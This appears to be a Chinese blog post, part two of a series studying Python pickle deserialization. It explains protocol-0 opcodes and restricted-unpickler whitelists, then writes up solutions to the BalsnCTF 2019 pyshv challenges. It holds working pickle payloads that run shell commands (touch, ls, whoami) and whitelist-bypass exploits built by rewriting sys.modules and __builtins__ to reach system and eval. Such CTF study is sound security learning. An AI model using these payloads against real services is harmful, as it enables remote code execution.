python 反序列化学习(二)

opcode

opcode又称操作码,是将python源代码进行编译后的结果;python运行代码的第一步是先将源代码进行编译,得到opcode后再交给PVM执行

.pyc文件就是python编译后的文件

pickle code

介绍

以下内容摘自p神博客

pickle实际上是一门栈语言,他有不同的几种编写方式,通常我们人工编写的话,是使用protocol=0的方式来写。而读取的时候python会自动识别传入的数据使用哪种方式,下文内容也只涉及protocol=0的方式。

和传统语言中有变量、函数等内容不同,pickle这种堆栈语言,并没有“变量名”这个概念,所以可能有点难以理解。pickle的内容存储在如下两个位置中:

stack 栈
memo 一个列表,可以存储信息

我们还是以最常用的那个payload来看起,首先将payload b'cposix\nsystem\np0\n(Vtouch /tmp/success\np1\ntp2\nRp3\n.'写进一个文件,然后使用如下命令对其进行分析:

python -m pickletools pickle

可见,其实输出的是一堆OPCODE

protocol 0的OPCODE是一些可见字符,比如上图中的cp(等。

对上面的pickle code解释:

  • c:引入模块和对象,模块名和对象名以换行符分割;这里就是导入posix模块的system方法
  • p:将栈顶的元素存储到memo中,p后跟的数字就表示这个元素在memo中的索引;这里就是将posix.system存到memo中,下标为0
  • (:压入一个标志到栈中,表示元祖的开始位置
  • VS:向栈顶压入一个unicode字符串;这里将touch /tmp/success压入栈中
  • p:将touch /tmp/success存储到memo中,下标为1
  • t:从栈顶开始,找到最上面的一个(,并将(t中间的内容全部弹出,组成一个元祖,再把这个元祖压入栈中;这里将('touch /tmp/success')压入栈中
  • p:将('touch /tmp/success')存到memo中,下标为2
  • R:从栈顶弹出一个可执行对象和一个元祖,元祖作为参数的参数列表执行,并将返回值压入栈;这里便是执行system('touch /tmp/success'),并将结果压入栈
  • p:将执行结果存到memo中
  • .:结束程序

memo在这里没有起什么作用,因此pickle内容可以简化为:

cposix
system
(Vtouch /tmp/success
tR.

常用pickle code

在没有限制的情况下,通常使用下面的payload来生成序列化字符串:

1
2
3
4
5
6
7
8
9
10
11
12
import os
import pickle
class test:
def __reduce__(self):
#return (eval,("os.popen('ls /')",))
return (os.popen,('ls /',))

a=test()
c=pickle.dumps(a)
print(c)
# 反序列化触发 __reduce__() ,获取到文件根目录
print(pickle.loads(c).read())

这里的__reduce__只是为了我们方便生成序列化字符串,而且不能执行多个命令。因此有时候在绕过一些沙箱的情况下还是要手写pickle code

除了用__reduce__生成在反序列化时调用函数的字符串外,还有以下操作:

# Import root level attribute
GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args

# Call function
REDUCE         = b'R'   # apply callable to argtuple, both on stack

# Set attribute for class
BUILD          = b'b'   # call __setstate__ or __dict__.update()

# Set item in dict
SETITEM        = b's'   # add key+value pair to dict

常用pickle code字符:

c:调用pickler的find_class,导入module.name并push到栈顶,module和name以换行符分割
(:压入一个标志到栈中,表示元组的开始位置
0:弹出栈项的元素并丢弃
t:从栈顶开始,直到找到一个(,并将(到t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中
R:从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上
p:将栈顶的元素存储到memo(标签区)中,p后面跟一个数字,就是表示这个元素在memo中的索引
g:把memo的第n个位置的元素复制到栈顶
V、S:向栈顶压入一个(unicode)字符串,直到换行符处
s:从栈顶弹出三个元素,一个字典,一个键名字,一个键值,把键名:键值添加进字典,然后把字典压入栈顶
.:表示整个程序结束

Safe unpickle

由于unpickle函数可以直接调用system命令,因此官方推荐使用的是重写pickle.Unpickler类,这个类的find_class方法会在执行对任何全局对象的请求时被调用,此时便可在其中进行判断

一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

import pickle
import io
import builtins

# __all__ = {'PickleSerializer',} # __all__ 用于导入模块时进行限制

class RestrictedUnpickler(pickle.Unpickler):
whitelist = ['time']

def find_class(self, module, name):
if module not in self.whitelist:
raise KeyError('The pickle is error!')
return pickle.Unpickler.find_class(self, module, name)

def loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()

print(loads(b'\x80\x03cos\npopen\nq\x00X\x04\x00\x00\x00ls /q\x01\x85q\x02Rq\x03.').read());

如果最后的loads中的模块不是whitelist中限制的time,那么运行时便会抛出异常

Tasks

以2019 BalsnCTF pyshv系列三道题,还有本次xctf比赛的一道题进行分析

https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc/pyshv1

pyshv1

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python3 -u

import securePickle as pickle
import codecs
import sys

pickle.whitelist.append('sys')


class Pysh(object):
def __init__(self):
self.login()
self.cmds = {}

def login(self):
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
raise NotImplementedError("Not Implemented QAQ")

def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()


if __name__ == '__main__':
pysh = Pysh()
pysh.run()

securePickle.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import pickle
import io
import sys

whitelist = []
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
return pickle.Unpickler.find_class(self, module, name)


def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()


dumps = pickle.dumps

主要限制为:模块名要等于sys,而且.不能出现在包名中,即可以引入sys.name,而不能引入sys.name.op(例如sys.modules['os'].system())

pickle.Unpickler.find_class获取模块属性依赖于sys.modules

1
2
3
4
5
6
7
8
9
10
11
def find_class(self, module, name):
# Subclasses may override this.
if self.proto < 3 and self.fix_imports:
# ...
pass

__import__(module, level=0)

# ...

return getattr(sys.modules[module], name)

因此最后返回的是getattr(sys.modules['sys'], name)sys.modules是一个cache字典,里面存储了引入的模块的记录;

因为sys.modules字典中也存在sys键,那么更改sys.modules['sys']的值后,重新加载sys模块,此时sys模块的值就是重新加载前赋的值

即通过下面的替换方式,将最后sys.get('os').system()三级调用替换成两级调用sys.system()

1
2
3
4
5
6
7
8
>>> import sys
>>> sys.modules['sys'] = sys.modules
>>> import sys
>>> sys['sys'] = sys.get('os')
>>> import sys
>>> sys.system('echo 1234')
1234
0

直接用现成的工具

https://github.com/eddieivan01/pker

使用方法:

python3 pker.py < exp.py 

编写exp.py:

1
2
3
4
5
6
7
8
modules = GLOBAL('sys', 'modules')
modules['sys'] = modules
module_get = GLOBAL('sys', 'get')
os = module_get('os')
modules['sys'] = os
system = GLOBAL('sys', 'system')
system('whoami')
return

生成:

b"csys\nmodules\np0\n0g0\nS'sys'\ng0\nscsys\nget\np2\n0g2\n(S'os'\ntRp3\n0g0\nS'sys'\ng3\nscsys\nsystem\np5\n0g5\n(S'whoami'\ntR."

编码:

Y3N5cwptb2R1bGVzCnAwCjBnMApTJ3N5cycKZzAKc2NzeXMKZ2V0CnAyCjBnMgooUydvcycKdFJwMwowZzAKUydzeXMnCmczCnNjc3lzCnN5c3RlbQpwNQowZzUKKFMnd2hvYW1pJwp0Ui4K

pyshv2

与v1 diff:

securePickle.py:

server.py:

这次限制了白名单为structs,而且structs.py文件是空的;unpickler使用__import__来导入模块,并返回getattr(module,name)

下面回顾一下python的一些属性:

  • __builtins__:python解释器启动的时候会首先加载内建名称空间(__builtins__模块),里面有许多名字到对象的映射
  • __getattribute__:对象访问属性/方法时会自动调用
  • __dict__:对于类:存储了类的方法、全局变量以及一些内置的属性;对于对象:存储了一些self.xxx属性

那么先将__import__改为structs.__getattribute__,然后把structs.structs改为__builtins__,这样最后__import__('structs'),便可得到__bultins__,接着即可调用内建方法:

1
2
3
4
5
6
7
8
9
att = GLOBAL('structs', '__getattribute__')
bui = GLOBAL('structs', '__builtins__')
dic = GLOBAL('structs', '__dict__')
bui['__import__'] = att
dic['structs'] = bui
bui_get = GLOBAL('structs', 'get')
eva = bui_get('eval')
eva('print(123)')
return

pyshv3

server.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/python3 -u

import securePickle as pickle
import codecs
import os

pickle.whitelist.append('structs')

class Pysh(object):
def __init__(self):
self.key = os.urandom(100)
self.login()
self.cmds = {
'help': self.cmd_help,
'whoami': self.cmd_whoami,
'su': self.cmd_su,
'flag': self.cmd_flag,
}

def login(self):
with open('../flag.txt', 'rb') as f:
flag = f.read()
flag = bytes(a ^ b for a, b in zip(self.key, flag))
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
print('Login as ' + user.name + ' - ' + user.group)
user.privileged = False
user.flag = flag
self.user = user

def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()

def cmd_help(self):
print('Available commands: ' + ' '.join(self.cmds.keys()))

def cmd_whoami(self):
print(self.user.name, self.user.group)

def cmd_su(self):
print("Not Implemented QAQ")
# self.user.privileged = 1

def cmd_flag(self):
if not self.user.privileged:
print('flag: Permission denied')
else:
print(bytes(a ^ b for a, b in zip(self.user.flag, self.key)))


if __name__ == '__main__':
pysh = Pysh()
pysh.run()

securePickle.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import pickle
import io

whitelist = []

# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
return pickle.Unpickler.find_class(self, module, name)

def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

dumps = pickle.dumps

structs.py:

1
2
3
4
5
6
class User(object):
def __init__(self, name, group):
self.name = name
self.group = group
self.isadmin = 0
self.prompt = ''

https://ctftime.org/writeup/16723

https://www.smi1e.top/%e4%bb%8ebalsn-ctf-pyshv%e5%ad%a6%e4%b9%a0python%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96/#pyshv1

https://github.com/sasdf/ctf/blob/master/tasks/2019/BalsnCTF/misc/pyshv1/_files/solution/solve.py

https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html